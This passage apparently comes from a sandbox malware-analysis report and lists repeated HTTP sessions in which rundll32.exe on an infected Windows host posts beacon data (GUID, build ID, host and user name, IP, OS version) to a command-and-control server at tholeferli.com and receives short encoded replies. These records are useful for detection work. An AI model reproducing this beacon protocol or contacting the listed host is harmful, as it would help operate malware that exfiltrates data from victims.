Jul 22, 2021 16:11:42.800192118 CEST	379	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:42.956759930 CEST	379	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 4d 4e 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGMNTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.22	49243	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:43.257241011 CEST	380	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:43.413952112 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 54 47 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVTGEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.22	49244	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:43.688730955 CEST	381	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:43.848915100 CEST	382	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 56 45 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKVEPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.22	49245	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:44.126646996 CEST	382	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:44.293515921 CEST	383	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 46 55 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMFUNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.22	49246	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:44.601757050 CEST	384	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:44.768727064 CEST	384	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 43 58 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFCXUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49175	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:06.971990108 CEST	298	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:07.127315044 CEST	298	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4b 50 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZKPAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.22	49247	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:45.055797100 CEST	385	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:45.212450981 CEST	385	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 41 5a 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJAZQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.22	49248	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:45.490674019 CEST	386	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:45.650993109 CEST	386	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 59 42 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGYBTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.22	49249	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:45.925512075 CEST	387	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:46.091377020 CEST	387	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 4a 51 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYJQBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.22	49250	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:46.375261068 CEST	388	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:46.543394089 CEST	388	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 4b 50 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVKPEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.22	49251	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:46.829147100 CEST	389	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:46.996254921 CEST	389	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 47 54 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFGTUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.22	49252	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:47.276248932 CEST	390	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:47.444124937 CEST	391	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 5a 41 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGZATARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.22	49253	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:47.718240023 CEST	391	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:47.875224113 CEST	392	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4d 4e 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZMNAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.22	49254	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:48.149163961 CEST	393	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:48.315056086 CEST	393	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4a 51 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZJQAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.22	49255	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:48.587294102 CEST	394	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:48.743767977 CEST	394	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 47 54 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTGTGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.22	49256	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:49.030864954 CEST	395	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:49.186918974 CEST	395	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 56 45 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFVEUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49176	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:07.405028105 CEST	301	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:07.562021971 CEST	301	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 47 54 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJGTQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.22	49257	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:49.458745956 CEST	396	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:49.625276089 CEST	396	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 51 4a 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHQJSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.22	49258	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:49.899928093 CEST	397	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:50.072293997 CEST	397	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 48 53 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYHSBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
